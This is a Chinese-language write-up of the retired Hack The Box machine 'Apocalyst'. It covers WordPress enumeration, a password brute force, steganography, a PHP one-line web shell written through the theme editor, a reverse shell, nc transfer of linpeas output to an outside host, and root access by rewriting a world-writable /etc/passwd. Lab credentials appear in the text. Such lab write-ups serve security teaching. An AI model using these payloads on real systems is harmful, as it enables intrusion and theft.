[HTB] Apocalyst Writeup
2022-8-10 13:56:31 Author: 一个人的安全笔记(查看原文) 阅读量:8 收藏

后续将不会把自己之前攻略过每个 Box 的解题过程都写一遍(还有好几十个呢),会选择性挑选一些有代表性的、能扩展思路并且贴合实战的来分享。

毕竟,已解的130+多个Box撰写到公众号,一是码字排版速度慢,二是跟不上HTB每周出一个新Box的解题速度...

概述 (Overview)

83947511.png|500

HOST: 10.10.10.46

OS: LINUX

发布时间: 2017-08-19

完成时间: 2021-09-18

机器作者: Dosk3n

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #Wordpress #Arbitrary_File_Write #Cewl

攻击链 (Kiillchain)

通过 Nmap 识别目标服务器开放端口,浏览器查看Web服务知悉部署服务为 WordPress,使用该服务特定的扫描工具 wpscan 进行枚举发现后台登录账号用户名。使用 Cewl 抓取网站内容生成密码字典,随后进行登录枚举,成功进入应用后台。使用后台的主题编辑功能写入WebShell,成功拿到目标服务器的立足点。最后,使用滥用的文件权限操作成功完成权限提升。

枚举(Enumeration)

老样子,使用 Nmap 对目标服务器开放端口进行枚举:

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)
|   256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)
|_  256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519)
80/tcp open  http
|_http-generator: WordPress 4.8
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apocalypse Preparation Blog

可以看到暴漏的端口仅有两个,且从 http-generator 中可以得到 Web 服务的指纹信息,说明这又是一道 Web Box。

Port 80 - WordPress

46b9a431d9ef0426356969ea29e06bb1.png

通过查看页面源代码可以获知当前站点的虚拟主机域名为:apocalyst.htb,通过 hosts 绑定后访问发现站点并没有出现新的变化。

77381450.png|550

立足点(Foothold)

对于 WordPress 站点最高效的枚举工具则是 wpscan[1],专注于 WP 的安全扫描工具。默认的枚举信息受限,可以注册一个免费的账号获取 API Token,但是使用 CLI 工具每天能发出 75 个 API 请求。

$ wpscan --url http://10.10.10.46 -e "vt,tt,u,ap" --api-token <Token>

-e :这是一个复合参数用于自定义需要枚举的功能模块vt:只枚举存在漏洞的主题tt:列举缩略图相关的文件u:枚举用户名,默认从1-10ap:枚举所有插件,时间较长

随后通过长时间的枚举并没有得到具有 Vul 的信息,不过得到了站点的账户信息:

http://apocalyst.htb/?author=1 --> falaraki

尝试对站点目录进行枚举,看看有没有隐藏什么关键信息。

$ gobuster dir -u http://apocalyst.htb -/home/kali/tools/DictionaryTools/IntruderPayloads/Repositories/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt ---30

这里有个问题,就是使用 gobuster 进行枚举时,返回的 Size 值一直在固定的区间(可能是我当时没加 -r 参数导致),对结果的判断不够明显,改为使用 dirsearch 进行扫描:

f0c7fccbd6ee96dfd9e6b00042f5791c.png

可惜依然没有有效的信息,一度认为是 Box 有问题重启了两次。子域名也扫过了,没有新的信息只能去官方论坛里去找信息。看到有人提示 cewl 工具,难道又是这种无脑题(有些CTF题会用这种无脑的方式,将密码进行隐藏。就很那是什么...SB)?尝试一下

$ cewl apocalyst.htb -w apocalyst.htb.wordlist --with-numbers

将站点上单词、带数字的单词等做成字典,使用 dirsearch 工具再次进行扫描得到一个新的目录:

85dd52af6c6782c21e2a2de5ec1625bc.png

访问这个目录看到一张图片,它有一个很奇怪的注释信息 needle。

6eb5af6a55cbcb11c6af1cb0defe7634.png

图片下载至本地使用 exiftool、binwalk 分析后均没发现什么异常,根据CTF图片隐写相关进行搜索发现 steghide 工具,使用它对图片进行信息查看时发现存在隐藏内容:

500

使用 steghide 对文件内容进行提取,密码是空的能直接得到文件:

steghide extract -sf image.jpg
Enter passphrase: <---空密码
wrote extracted data to "list.txt".

ee5f6935e14e485de5090c74c718776a.png

使用得到的新文件进行各种登录碰撞,先进行的 SSH 爆破失败,转而使用 wpscan 爆破 falaraki 用户的登录:

$ wpscan --url http://apocalyst.htb --usernames falaraki --passwords list.txt
...snip...
[!] Valid Combinations Found:
 | Username: falaraki, Password: Transclisiation
...snip...

接下来就比较简单了,使用这个密码成功进入 wp 的管理后台,找到主题编辑功能写入自定义的 PHP WebShell:

46d7e62cf56ec434a1f2753e40005c87.png

0ed131d0cc6d517ff74df4ecef88ebbc.png

再次编辑,保存一句话脚本:

<?php system($_REQUEST[cmd]); ?>

验证脚本被正确执行,使用它进行反弹 shell 拿到目标服务器的立足点。

b7eeb811ab1a1b939fd193cb5dd1d74e.png

权限提升(Privilege Escalation)

首先查看 /var/www/html/apocalyst.htb/wp-config.php 文件,尝试密码复用碰撞失败:

/** The name of the database for WordPress */
define('DB_NAME', 'wp_myblog');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'Th3SoopaD00paPa5S!');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */                                                                                                 
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */                                                                                            
define('DB_COLLATE', ''); 

进而查询 mysq 中的用户表,发现里面只有一个 falaraki。在没有取得更大信息收获的情况下,将 linpeas 脚本传递至目标服务器,运行脚本进一步深度收集信息,随后将执行结果通过 NC 传递回 kali:

接收方-->>>>> [email protected]$ nc --9901 >./linpeas.txt

发送方-->>>>> nc -5 10.10.17.64 9901 < ./linpeas.txt

从分析的结果中发现 /etc/passwd 存在 0666 权限:

37d2c46680726c2127d0b3cd795adaea.png

54d8313c432b39bb2b13f945c86ffde1.png

至此,提权方式就很简单了,我们只需要自定义 root 用户的密码就能完成权限提升。这种方式在之前的 Bank 靶机中见 IPPSEC 用过,并在 Teacher 靶机中也有利用。

可见: Bank-Writeup | 0x584A的个人博客[2]Teacher-Writeup | 0x584A的个人博客[3]

使用 openssl 生成一个自定义的密码哈希,将它写入到 /etc/passwd 文件中:

8cafc80a42b1c901706d9ad1eaf466e1.png

最后只需要进行外部的 ssh 登录就行了:

$ ssh [email protected].10.10.46
[email protected].10.10.46's password: 
Permission denied, please try again.

f6e0c0313ccc570106916fe1115cb219.png

参考

渗透中 /etc/passwd 文件的进一步利用思路[4]

引用链接

[1] wpscan: https://wpscan.com/wordpress-security-scanner
[2] Bank-Writeup | 0x584A的个人博客: https://www.jgeek.cn/article/65.html#Root_111
[3] Teacher-Writeup | 0x584A的个人博客: https://www.jgeek.cn/article/91.html
[4] 渗透中 /etc/passwd 文件的进一步利用思路: http://blog.leanote.com/post/snowming/98864b36fc08


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490195&idx=1&sn=652ddd5b2719aa5616b231922cda2721&chksm=8c945d04bbe3d412ef992ff6f57005f79e8f9691b73abf18e5d697d05592ce06bb83c2b2410f#rd
如有侵权请联系:admin#unsafe.sh